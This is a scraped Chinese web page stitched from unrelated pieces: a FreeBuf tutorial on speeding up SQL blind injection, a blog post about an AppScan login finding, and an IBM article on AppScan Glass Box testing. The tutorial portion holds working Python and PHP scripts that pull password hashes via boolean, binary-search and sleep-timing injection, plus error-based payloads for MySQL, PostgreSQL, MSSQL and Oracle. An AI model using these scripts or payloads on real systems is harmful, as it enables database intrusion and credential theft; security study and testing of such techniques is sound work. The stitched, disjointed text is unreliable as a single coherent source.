appscan在测试时会不会把数据库两人同时修改会不会冲突改写掉

详解SQL盲注测试高级技巧 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
详解SQL盲注测试高级技巧
共1606411人围观
,发现 16 个不明物体
写在前面:
这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。
首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。
Booleanbase
其中第一类Boolean就是我们最常接触到的普通盲注。
比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下,大家体会就好)
mysql&&select&123&from&dual&where&1=1;
1&row&in&set&(0.00&sec)
mysql&&select&123&from&dual&where&1=0;
Empty&set&(0.00&sec)
如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)
mysql&&select&1&from&te&order&by&if(1,1,(select&1&union&select&2))&limit&0,3;
3&rows&in&set&(0.00&sec)
mysql&&select&1&from&te&order&by&if(0,1,(select&1&union&select&2))&limit&0,3;
ERROR&):&Subquery&returns&more&than&1&row
基于时间的盲注的话,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。
mysql&&select&1&from&te&where&if(1=1,sleep(1),1)&limit&0,1;
Empty&set&(27.00&sec)
mysql&&select&1&from&te&where&if(1=2,sleep(1),1)&limit&0,1;
1&row&in&set&(0.00&sec)
基于报错的盲注,需要网站显示数据库报错信息,后面会有详细阐述。
知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。
拿32位hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。想要减少盲注查询的次数,一般会用到如下几种方法。
字频统计:
根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。上有字母使用频率的统计。
那么根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h。
ps.这种方法的效率有多高哪?只能说看脸。
二分查找,位运算法:
&把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。
首先来说二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。
使用而返查找确定一个hash散列的一位,只需要4次查询(2^4=16),也就是说确定一个32位hash,只需要126次请求,大大缩短了查询的次数。
这里给出一个二分查找的pyhton源代码
import&urllib
import&urllib2
def&doinject(payload):
&&&&url&=&'xxxxxxxxxxxxxxxxxxxxx'
&&&&values&=&{'injection':payload,'inject':'Inject'}
&&&&data&=&urllib.urlencode(values)
&&&&#print&data
&&&&req&=&urllib2.Request(url,&data)
&&&&req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
&&&&response&=&urllib2.urlopen(req)
&&&&the_page&=&response.read()
&&&&if&(the_page.find(&Welcome&back&)&0):
&&&&&&&&return&True
&&&&&&&&return&False
wordlist&=&&ABCDEF&
for&i&in&range(1,33):
&&&&while&(s&t):
&&&&&&&&if&(t-s==1):
&&&&&&&&&&&&if&doinject('\'&or&substring(password,'+str(i)+',1)=\''+wordlist[t]+'\'&--&LanLan'):
&&&&&&&&&&&&&&&&m=t
&&&&&&&&&&&&&&&&break
&&&&&&&&&&&&else:
&&&&&&&&&&&&&&&&m=s
&&&&&&&&&&&&&&&&break
&&&&&&&&m=(s+t)/2
&&&&&&&&if&doinject('\'&or&substring(password,'+str(i)+',1)&\''+wordlist[m]+'\'&--&LanLan'):
&&&&&&&&&&&&s=m+1
&&&&&&&&&&&&print&wordlist[s]+&:&+wordlist[t]
&&&&&&&&else:
&&&&&&&&&&&&t=m
&&&&&&&&&&&&print&wordlist[s]+&:&+wordlist[t]
&&&&res&=&res+wordlist[m]
&&&&print&res
这里还有使用正则表达式来进行二分查找的php实现
$sUrl&=&'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost&=&'inject=Inject&injection=';
$sCharset&=&'ABCDEF';
/*&for&every&character&*/
for&($i=0,&$hash='';&$i&32;&++$i)&{
&&&&&&&&$ch&=&$sC
&&&&&&&&do&{
&&&&&&&&&&&&&&&&$ch1&=&substr($ch,&0,&intval(strlen($ch)/2));
&&&&&&&&&&&&&&&&$ch2&=&substr($ch,&intval(strlen($ch)/2));
&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&$p&=&$sPost.'absolutelyimpossible\'&OR&1=(SELECT&1&FROM&blight&WHERE&password&REGEXP&\'^'.$hash.'['.$ch1.']\'&AND&sessid=xxx)&AND&\'1\'=\'1';
&&&&&&&&&&&&&&&&$res&=&libHTTP::POST($sUrl,&$p);
&&&&&&&&&&&&&&&&if&(strpos($res['content'],&'Your&password&is&wrong')&===&false)
&&&&&&&&&&&&&&&&&&&&&&&&$ch&=&$ch1;
&&&&&&&&&&&&&&&&else&
&&&&&&&&&&&&&&&&&&&&&&&&$ch&=&$ch2;
&&&&&&&&&&&&&&&&
&&&&&&&&}&while&(strlen($ch)&&&1);
&&&&&&&&$hash&.=&$
&&&&&&&&echo&&\rhash:&&.$
ps:上面的代码都是针对32位hash的盲注
再说位运算,它的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分查找,它应用起来比较有局限性。
mysql中位运算的与运算是&,我们主要用它来进行猜测,比如a的ascii码是1100001,那么我们可以使用1,2,4,8,16…..依次与他进行与运算,最终得到结果。
mysql&&select&ord('a')&&&1;
+--------------+
|&ord('a')&&&1&|
+--------------+
|&&&&&&&&&&&&1&|
+--------------+
1&row&in&set&(0.00&sec)
mysql&&select&ord('a')&&&2;
+--------------+
|&ord('a')&&&2&|
+--------------+
|&&&&&&&&&&&&0&|
+--------------+
1&row&in&set&(0.00&sec)
mysql&&select&ord('a')&&&4;
+--------------+
|&ord('a')&&&4&|
+--------------+
|&&&&&&&&&&&&0&|
+--------------+
1&row&in&set&(0.00&sec)
基于时间的盲注:
上面的方法,都是通过返回页面的不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。
'&or&sleep(ord(substr(password,1,1)))&--
利用语句一般可以写成这样
mysql&&select&sleep(find_in_set(mid(@@version,&1,&1),&'0,1,2,3,4,5,6,7,8,9,.'));
1&row&in&set&(6.00&sec)
mysql&&select&sleep(find_in_set(mid(@@version,&2,&1),&'0,1,2,3,4,5,6,7,8,9,.'));
1&row&in&set&(11.00&sec)
推荐使用,sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。
下面给出一个针对32位hash的盲注算法
import&urllib
import&urllib2
import&socket
from&time&import&time
socket.setdefaulttimeout(1000000)
def&doinject(payload):
&&&&url&=&'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
&&&&values&=&{'injection':payload,'inject':'Inject'}
&&&&data&=&urllib.urlencode(values)
&&&&#print&data
&&&&req&=&urllib2.Request(url,&data)
&&&&req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
&&&&start&=&time()
&&&&response&=&urllib2.urlopen(req)
&&&&end&=&time()
&&&&#print&response.read()
&&&&index&=&int(end-start)
&&&&print&'index:'+&str(index)
&&&&print&'char:'&+&wordlist[index-1]
&&&&return&index
wordlist&=&&ABCDEF&
for&i&in&range(1,34):
&&&&num&=&doinject('\'&or&sleep(&find_in_set(substring(password,&'+str(i)+',&1),&\'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\'))&--&LanLan')
&&&&res&=&res+wordlist[num-1]
&&&&print&res
这里还有注意一点,sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。
比如有一个2个记录的表
select&count(*)&from&
&&&&+----------+
&&&&|&count(*)&|
&&&&+----------+
&&&&|&&&&&&&&2&|
&&&&+----------+
如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12秒
select&*&from&test&where&sleep(locate(mid(@@version,&1,&1),&'.'));
Empty&set&(12.00&sec)
这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6秒
select&*&from&test&where&a=1&and&sleep(locate(mid(@@version,&1,&1),&'.'));
Empty&set&(6.00&sec)
ps.这种方法很怕网络不稳定。
基于报错的盲注:
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select&1,2&union&select&count(*),concat(version(),floor(rand(0)*2))x&from&information_schema.tables&group&by&x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select&count(*)&from&information_schema.tables&group&by&concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select&count(*)&from&(select&1&union&select&null&union&select&!1)&group&by&concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select&min(@a:=1)&from&information_schema.tables&group&by&concat(password,@a:=(@a+1)%2)
其实这是mysql的一个所引起的,其他数据库都不会因为这个问题而报错。
另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql&&select&*&from&article&where&id&=&1&and&extractvalue(1,&concat(0x5c,(select&pass&from&admin&limit&1)));
ERROR&1105&(HY000):&XPATH&syntax&error:&'\admin888'&&
mysql&&select&*&from&article&where&id&=&1&and&1=(updatexml(1,concat(0x5e24,(select&pass&from&admin&limit&1),0x5e24),1));&&
ERROR&1105&(HY000):&XPATH&syntax&error:&'^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL:&/?param=1&and(1)=cast(version()&as&numeric)--&
MSSQL:&/?param=1&and(1)=convert(int,@@version)--&
Sybase:&/?param=1&and(1)=convert(int,@@version)--&
Oracle&&=9.0:&/?param=1&and(1)=(select&upper(XMLType(chr(60)||chr(58)||chr(58)||(select&
replace(banner,chr(32),chr(58))&from&sys.v_$version&where&rownum=1)||chr(62)))&from&dual)--
参考文献:
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION
Indexed Blind SQL Injection
盲注 ,HASH二分法 不应该是 16^32,不应该是所有位都相同才返回对的吗?
拿32位hash为例,暴力猜解的话许要 16*32=512这个是错了吧,应该16**32.。。
必须您当前尚未登录。
必须(保密)
阿里巴巴安全工程师
关注我们 分享每日精选文章
可以给我们打个分吗?  最近在修复系统漏洞时,使用新版扫描IIS站点(WebForm)出现一个严重漏洞&已解密的登陆请求&。
  扫描工具修复的建议为在登陆界面不使用含&password&类型的控件或加密录入参数。 按其所给的建议,我做了如下修改:将password控件修改为textbox控件。使用js替换输入的内容。并将录入的结果录入到隐藏控件中提交时去隐藏控件的值。
  修改后部署更新站点重新扫描并不能解决问题。
  通过、bing等搜索工具找了一下两个解决方案:
  1.站点登陆采用ssl方式
  2.对登陆请求的数据进行加密
  因站点要求,并不能使用ssl方式,所以只能采用加密的方式来解决问题。
  我使用了可逆加密方式des加密。在前端加密后再提交数据至服务端进行解密。按此种方式修改后,更新站点再进行扫描得到的结果是依然不能解决这个漏洞的问题。于是我认真查看了AppScan提交数据请求的。发现我提交请求的数据,并没有按我要求进行加密。而是在配置AppScan登陆的数据。这说明AppScan请求登陆只会根据你的配置信息来进行登陆,并不去管你的登陆是否做了其它处理。这是否存在一个问题?你配置appscan的时候你需要配置站点登陆信息,但是他解密时提交的数据本来就是你配置好的。本就是配置的数据,为什么还说你解密的?这里我对appscan的扫描存在质疑(appscan在坑人,你必须得用ssl方式访问站点登陆!!)。
  因站点的不能使用ssl方式,所以我找同事讨论。得到另一个解决方案:登陆提交数据使用隐藏控件(包含登陆用户与密码),在提交之前对原来登陆用户、密码录入框内的内容进行清空。后台判断若录入框内存在内容则提示&登陆操作错误!&。这样配置后重新扫描,问题得到了解决,但是存在一个问题AppScan再也登陆不了系统了(扫描是会提示不能正常登陆系统,请确定登陆配置是否正确)。
  DES加密及解密(js与C#配套)可参考:http://www.cnblogs.com/luowanli/archive//DES-Base64%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86.html
  此方法能规避&已解密的登陆请求&的漏洞,但是不能完全解决。在实际站点中AppScan还是能扫描出此漏洞,但在扫描出的报文提交的数据中并不能查看到明文的账号密码信息。
阅读(...) 评论()IBM Security AppScan Glass Box:一种全新的漏洞扫描思想
常见安全测试技术
Web 应用的自动化安全测试技术一般分为两类:黑盒安全测试和白盒安全测试。这两种方法孰优孰劣一直众口不一。广为公认的是,这两种方式各有优缺点,且具有良好的互补性。下面笔者简单介绍一下两种测试技术的原理,便于读者了解这两种技术的优缺点。
白盒安全测试技术
白盒安全测试有时候也被称为静态测试,主要基于源代码进行分析。因此,白盒安全测试不需要部署、运行整个应用。白盒安全测试主要分析代码中的函数及其调用关系,分析数据在其中的不同的执行路径。常见白盒安全测试工具主要采用污染分析(Taint Analysis)方法,它检测代码中所有可能的数据流,寻找黑客可以利用的输入数据,跟踪这些数据在整个应用中的使用过程,以及最终的数据去向,结合规则来判断当前数据流是否存在安全漏洞。例如,如果某个输入字段通过 HTTP 请求传入系统中,最终被编织到某个数据库查询语句被执行,白盒安全检测工具就能根据这个数据流分析出可能存在
SQL 注入漏洞。白盒安全测试的优势很明显,它通常能检查整个应用中的所有代码,分析代码中的所有执行路径,精确定位到具体代码行存在的安全漏洞。但它的缺点也比较多,譬如:
基于白盒安全测试的原理,它能检测应用中代码的所有执行路径和数据流。但事实总跟理论有些差距,实际项目中白盒安全测试并不能真正做到这一点。譬如:如果代码中采取了反射机制,白盒安全就难以处理这类逻辑;如果代码中存在大量多线程并发,白盒安全测试也难以检测这些并发问题;此外,如果应用的控制流是基于配置文件实现的,譬如基于 Spring 配置,白盒安全测试工具也难以分析这类框架下完整的数据流。
白盒安全测试仅侧重代码的分析,而不考虑中间件部署等问题。测试过程不依赖运行环境虽然简化了安全测试方法,但是存在很多基础中间件层的安全漏洞,白盒安全测试技术无法检测此类问题,可以说这是白盒安全测试先天性的不足。
白盒安全测试引以为傲的一点是,它能测试代码中的所有执行路径。这其实是一把双刃剑。实际项目运行过程中,实际会执行到的路径跟理论存在的路径相比,会远远小于理论路径数量。读者可以找些代码进行度量分析,某些方法圈复杂度可能会 30 以上,但实际我们不一定为它写那么多单元测试用例,我们的单元测试用例往往只会覆盖到实际项目可能会命中的那些路径。因此,白盒安全测试工具往往会检测出大量的安全漏洞,其中大量问题事实上在运行期永远不会被执行到。
黑盒安全测试技术
黑盒安全测试有时候也被称为动态测试。这种方法主要测试应用的功能点,而不是分析内部代码。黑盒安全不需要测试人员具备编程能力,不需要测试人员了解代码实现的逻辑,因此常常是业界安全测试人员的首选安全测试方法。黑盒安全测试过程中,往往通过网页爬虫模拟正常用户访问应用站点,探测出应用站点的全部访问路径,然后基于探测结果生成安全测试用例。黑盒测试工具会分析安全测试用例触发的 HTTP 响应,判断其中是否存在某种安全漏洞。由此看出,黑盒测试时,被测站点往往被视为一个黑盒,我们不用去关心它如何运行,用何种语言编写。黑盒测试技术从用户的角度,或者说是从黑客的角度去分析测试站点,它所发现的问题往往更为精确,同时也能检测出中间件配置问题所导致的安全漏洞。黑盒安全测试同样也存在着一些不足。
测试覆盖率较低。由于黑盒安全测试是从用户角度分析站点的 URL,而不是从源代码级分析方法的参数,因此,黑盒测试的测试覆盖率会小于白盒安全测试。对于黑盒安全测试工具而言,以下场景都很难自动探测出来。譬如:根据特定表单字段内容控制的不同页面逻辑;某个请求存在隐式的参数(即某些参数没公开,通过 URL 发现不到这些参数)等。
黑盒安全测试无法发现某些安全漏洞。由于黑盒安全测试本质上基于服务器端的响应来验证漏洞是否存在。大多数安全漏洞可以通过这种方式分析出来,但不是所有漏洞都能如此。譬如:密码以明文存储,这种安全隐患就不能通过黑盒测试检测出来;系统存在默认调试密码的现象也无法通过黑盒测试检测出来。由此可见,只要被污染参数没有被写回 HTTP 响应,黑盒安全测试技术就无法探测出相应的漏洞。
黑盒安全测试所发现的安全漏洞修复难度大。尽管黑盒安全测试所发现的安全漏洞容易被重现,但根据 HTTP 请求 / 响应找出存在安全漏洞的代码行并不是一件容易的事情。相信从事过相关安全漏洞修复的读者对此都感受深刻。
黑盒安全测试效率较低。根据黑盒安全测试原理可以知道,黑盒测试工具往往会根据所探测出来的 URL 设计安全测试用例(也称为测试变体),譬如一个 URL 中存在三个参数,黑盒测试工具会为每个参数都设计大量的测试变体,如 XSS 变体、注入变体等等。随着已知漏洞数量的增加,需要设计的测试变体会越来越多。这样对于一个 URL 的测试变体往往会有好几十个,甚至上百个。这种测试方法不仅仅会对被测试站点带来较高的访问压力,对于测试机器而言,也会因多线程发送大量请求、分析大量响应导致测试性能低下。尤其对于一个大型站点来说,黑盒安全测试的性能往往比较低下,需要针对性的进行扫描性能调优。
由此可见,黑盒安全测试和白盒安全测试两种方法各具特色和不足,且两者具备较好的互补性。目前业界基本公认,两者的结合(即混合测试,Hybrid Test)是下一代安全检测技术的发展趋势。AppScan Standard v8.5(下文简称 AppScan)新发布了 Glass Box 安全测试技术(下文称之为&玻璃盒测试技术&),创新地在黑盒安全测试工具中引入了代码分析技术,实现了混合测试。下文笔者将跟读者分析这一新技术,探究它的运行原理,帮助读者掌握并运用到实际项目中去。
新一代玻璃盒安全测试技术
近年来 IBM 安全团队一直致力于研究开发新一代安全检测技术,即玻璃盒安全测试技术,并在 2009 年为之申请了专利。简言之,利用玻璃盒测试技术,测试工具可以在做黑盒测试的同时,观察并分析服务器端运行期所执行的代码。研究发现,这种新方法改进了传统黑盒测试的不足。图 1 展示了玻璃盒测试技术的基本原理,下文将详细介绍玻璃盒安全测试技术是如何综合黑白盒两种技术之长。
图 1. 玻璃盒测试原理图
我们可以看到,跟以前版本的 AppScan 相比,这里多了两个组件:玻璃盒代理(Glass Box Agent)和玻璃盒引擎(Glass Box Engine)。玻璃盒代理是用来采集信息的应用程序,负责监控、收集和分析所在组件中的有价值信息,然后将这些信息发送给 AppScan,AppScan 会基于这些信息改进探索和测试。根据 IBM 发布的玻璃盒技术白皮书,玻璃盒代理通常可以部署在 Web 应用环境中的不同组件中,譬如 Web 应用服务器、操作系统或者数据库。不同环境中的玻璃盒代理所收集的信息不同。表 1
阐述了不同位置的玻璃盒代理所采集的不同信息,以及这些信息会如何改进测试结果。
表 1. 常见玻璃盒代理
代理所在位置
所采集信息
运行期代码信息
源代码信息
Web 应用服务器
Web 服务器日志
注册表访问
数据库服务器
SQL 执行信息
我们以表 1 中最后的数据库端的玻璃盒代理为例。Web 应用通常使用外部的关系型数据库来存储信息。通过在数据库端安装玻璃盒代理,黑盒测试工具即可监控到 Web 应用所执行的 SQL 语句。当黑盒测试工具发送一个 SQL 注入测试变体的时候,玻璃盒代理会分析数据库端实际执行的 SQL 语句,以此判断当前攻击是否成功。如果玻璃盒代理探测到攻击已经成功,它将通知黑盒测试工具,黑盒测试工具从而会报告存在 SQL 注入安全漏洞。请注意,这种判断方法跟基于 HTTP 响应对比的优势:如果 SQL 执行结果没有被回写到 HTTP
响应中,传统上的基于 HTTP 响应分析的方法就不能检测出当前存在 SQL 注入漏洞,而玻璃盒测试方法可以测试成功。此外,玻璃盒代理通过监控数据库端执行的 SQL 语句,可以知道当前 SQL 存在哪些参数,从而通知黑盒测试工具仅对这些参数发送 SQL 注入测试变体。这样就大大降低了无效测试变体的数量,从而提升了整体扫描效率。
AppScan v8.5 目前集成的的玻璃盒代理是运行期代码代理。这种代理可以在 Web 应用程序启动加载的时候,通过动态代理一类的机制,将监控代码动态注入到 Web 应用程序代码中。这样运行期代码代理可以监控到 Web 应用代码的执行情况,分析出代码的逻辑关系和运行期的数据流,从而找到数据的源和接收器。通过运行期代码代理,可以轻松定位安全漏洞所在代码,而且利用数据的源和接收器分析,安全漏洞的判定也比较容易和准确。
以上对玻璃盒代理的分析,从原理上解释了玻璃盒测试如何克服了传统黑盒测试工具和白盒测试工具的常见不足。下面我们总结一下玻璃盒技术的优势所在。
增强了探索能力
在黑盒测试工具的探测阶段,玻璃盒代理能够基于白盒分析找出应用中的隐藏参数,通知黑盒测试工具对隐藏参数进行探测。这种方式改善了黑盒测试工具的测试覆盖率。我们通过一个简单的例子来说明,参见清单 1 中的代码。
清单 1. 影响测试覆盖率的隐藏参数
String debug = request.getParameter(&debug&);
if(debug == &enabled&){
// hidden code
如果黑盒测试工具没有发送 debug 参数为 enabled 的请求,这段隐藏代码就永远不会被测试到,黑盒测试工具也就无法检测这段代码是否存在安全漏洞,这就影响了测试覆盖率。玻璃盒测试技术通过玻璃盒代理找到这些代码分支,并查明这些代码分支的调用方式。玻璃盒代理会通知黑盒测试工具,后者会利用类似例中 debug 参数,发送测试变体去检测这段代码。
增强了测试能力
利用玻璃盒测试技术,黑盒测试工具可以准确知道操作系统、应用服务器、数据库及相关第三方组件等信息,从而改进测试策略的针对性,提高了测试精确性和测试效率。同时,通过玻璃盒代理监控服务器端环境,黑盒测试工具能够更好地验证安全漏洞是否存在。譬如那些不回写 HTTP 响应的安全漏洞,如日志伪造、不安全的加密存储及不合理的文件操作权限等。此外,玻璃盒技术也有利于提高安全漏洞报告的准确度,准确提示用户漏洞所在的文件名、方法名及代码行数等。
提升了效率和准确度
使用过黑盒测试工具的读者都知道,安全测试的时候经常需要权衡性能和准确度这两个指标。为了提高准确度,就需要增加测试变体数量,这就影响了测试性能;通过算法优化减少测试变体,还是会可能降低测试准确度。由于玻璃盒测试技术洞悉服务器端的环境和代码,利用这些信息,黑盒测试工具可以精确针对测试环境编制测试变体,这样的话,测试变体的数量会大大降低,而其测试覆盖率也不会受影响,所以能够保证测试准确度的同时,提高了测试效率。
IBM 研究人员曾对 WAVSEP(Web Application Vulnerability Scanner Evaluation Project)应用进行了对比测试,利用黑盒测试技术仅能测试出 62 个安全漏洞,而启用了玻璃盒测试技术后,AppScan 能测试出该网站的全部 198 个安全漏洞。这些数据进一步验证了玻璃盒测试技术的先进性。
掌握玻璃盒测试技术
在 AppScan 中启用玻璃盒测试非常简单,概括下来有三个步骤:
在应用服务器上安装玻璃盒测试代理程序,此操作仅需执行一次。虽然玻璃盒代理程序可以被安装到多台服务器上,但一次扫描过程中只能包含一台服务器。
在 AppScan 中定义已安装好的代理程序,以便它能与这些代理程序进行通信。同一个玻璃盒代理程序可以被多个 AppScan 使用,但不能同时使用。
配置扫描时启用所需的玻璃盒代理程序。缺省情况下这是自动配置的,可以在&扫描配置&-&Glass Box 视图&中为每个扫描调整代理程序配置。
另外,需要注意的是,如果 AppScan 自动更新的时候,若提示更新服务器代理程序,请务必执行该操作,以便 AppScan 和玻璃盒代理程序中的规则保持同步。同时,一旦玻璃盒代理程序完成更新,要重新启动 Web 应用服务器,重新加载服务器应用程序。
安装玻璃盒代理程序
目前版本的玻璃代理程序主要支持主流 Java EE 应用程序服务器(如 JBoss,Tomcat,WebLogic 和 WebSphere)。玻璃盒代理程序可以自动化安装,但考虑到 Java EE 应用服务器的配置通常较为复杂,为支持客户手工部署需求,玻璃盒代理程序也可以手动安装。AppScan 的用户手册中有详细的解释和示例。简而言之,玻璃盒代理程序安装主要包括 Java 代理程序包的配置和代理应用 WAR 包文件的部署。下面笔者在本机 Tomcat 环境中自动安装玻璃盒代理程序。
打开文件夹&C:\Program Files (x86)\IBM\Rational AppScan\Glass box&,双击 GB_Setup.exe 程序启动安装。(因为笔者是在本地安装,所以直接执行这个安装程序。如果应用服务器不在本机,则需要将这个文件夹的内容拷贝到应用服务器所在电脑上,确保文件访问权限正常后,再执行这个文件。)
图 2. 选择应用服务器
选择 Apache Tomcat 后,点击&下一步&,安装程序会提示指定 Tomcat 所在路径,譬如&D:\apache-tomcat-6.0.32&,然后点击&下一步&。
安装程序提示设置代理程序凭证,这里的用户名和密码将来需要记录到 AppScan 中,AppScan 利用这个帐号跟代理程序进行通信。
图 3. 设置代理程序的访问帐号
最后确认安装文件夹位置,点击&安装&完成代理程序的安装。安装程序会帮助你验证代理程序是否安装成功。我们也可以手工通过浏览器来验证:在浏览器中输入&http://localhost/GBootStrap/ &(读者需根据本机 Tomcat 的配置修改机器名和端口),如果系统提示输入密码,则输入步骤三提供的帐号,查看到&Glass Box API&的话,即说明安装成功。
注册玻璃盒代理程序
点击菜单&工具&-&Glass Box 代理程序管理&,打开管理界面,点击&+&按钮,注册刚才安装的玻璃盒代理程序,如图 4 所示。然后点击&确定&关闭对话框即可。
图 4. 注册玻璃盒代理程序
启用玻璃盒代理程序
当扫描某个应用服务器上的 Web 站点时,我们可以在扫描配置中启用安装在这台应用服务器上的玻璃盒代理程序。缺省情况下,AppScan 会自动启用目标应用服务器上已注册好的代理程序。在&扫描配置&对话框中,选择&探索 -Glass Box&即可看到配置项,如图 5 所示。
图 5. 启用玻璃盒代理程序
下文笔者将针对本地的一个应用使用 AppScan 进行两次扫描,两次测试都扫描相同的站点,第一次不启用玻璃盒扫描,第二次启用玻璃盒扫描,其他配置完全相同。我们来看看两次扫描结果的区别。
首先笔者使用 AppScan 测试本地的 wavsep 程序:
点击&文件&-&新建&,使用&常规扫描&模板,设置&Web 应用程序扫描&。起始 URL 设置为&&,登录方法选择&无&,使用&开发者精要&测试策略。
因为 AppScan 默认会启用玻璃盒代理,这里笔者暂将之停用。点击&完全扫描配置&,在&Glass Box&选项中,禁用&在探索阶段使用 Glass Box&和&在测试阶段使用 Glass Box&。点击确定,启动全面自动扫描。
扫描完成后观察状态栏,我们可以看到已访问的 URL 是 315 个。测试共发现 66 个安全问题,如图 6 所示。
图 6. 停用玻璃盒测试的扫描结果
接下来,笔者启用玻璃盒代理,然后点击&扫描&-&重新扫描(全面)&,利用玻璃盒测试重新扫描上述站点。结果如图 7 所示。启用玻璃盒测试后,AppScan 探索出 398 个 URL,测试发现 70 个安全问题。由此可见,启用玻璃盒扫描后,AppScan 的探测能力增强,发现了更多的安全问题。
图 7. 启用玻璃盒测试的扫描结果
玻璃盒测试技术是 IBM 发布的一项领先混合测试技术,它综合了黑盒安全测试和白盒安全测试的两者之长,克服了传统黑盒安全测试的不足,增强了 AppScan Standard 的探索能力,提高了扫描效率和结果准确性。本文笔者跟读者分享了玻璃盒测试技术的原理,介绍了 AppScan 中玻璃盒测试的使用方法,同时结合案例,跟读者演示了停用玻璃盒测试和启用玻璃盒测试两种场景下的测试结果,通过这两个测试结果的对比,让读者更直观领略到玻璃盒测试技术的领先。鉴于笔者经验有限,若有不及之处,欢迎读者来信交流。
查看文章&&,了解 Rational AppScan Standard 的基本使用。
&查看 IBM 白皮书&&,了解 IBM 玻璃盒测试技术的研究成果。
参考 Rational AppScan,查看
IBM Rational AppScan 产品介绍及文档库。
参考&,了解 IBM 发布的最新因特网威胁趋势及应对威胁的建议。
参考,了解 Web 应用安全漏洞扫描工具评估项目。
访问&,获得关于
IBM Rational 软件交付平台(Rational Software Delivery Platform)产品的技术资源和最佳实践。
订阅&,一份关于 developerWorks
指南、文章、下载、社区活动、网络广播和技术讲座的电子周刊。
下载免费的&。
获取免费的&,了解最新的 IBM
Rational 软件开发工具技术文档和资源。
下载更多免费的&,了解
IBM Rational 软件的最新特性。
获取更多&,并熟练掌握来自 DB2(R)、Lotus(R)、Tivoli(R),以及
WebSphere(R) 的开发工具和中间件产品,用这些试用版软件开发您的下一个项目。这些试用版软件可以免费直接从 developerWorks 下载。
看过本文的人也看了:
我要留言技术领域:
取消收藏确定要取消收藏吗?
删除图谱提示你保存在该图谱下的知识内容也会被删除,建议你先将内容移到其他图谱中。你确定要删除知识图谱及其内容吗?
删除节点提示无法删除该知识节点,因该节点下仍保存有相关知识内容!
删除节点提示你确定要删除该知识节点吗?

我要回帖

更多关于 根据邮件改写数据库 的文章

 

随机推荐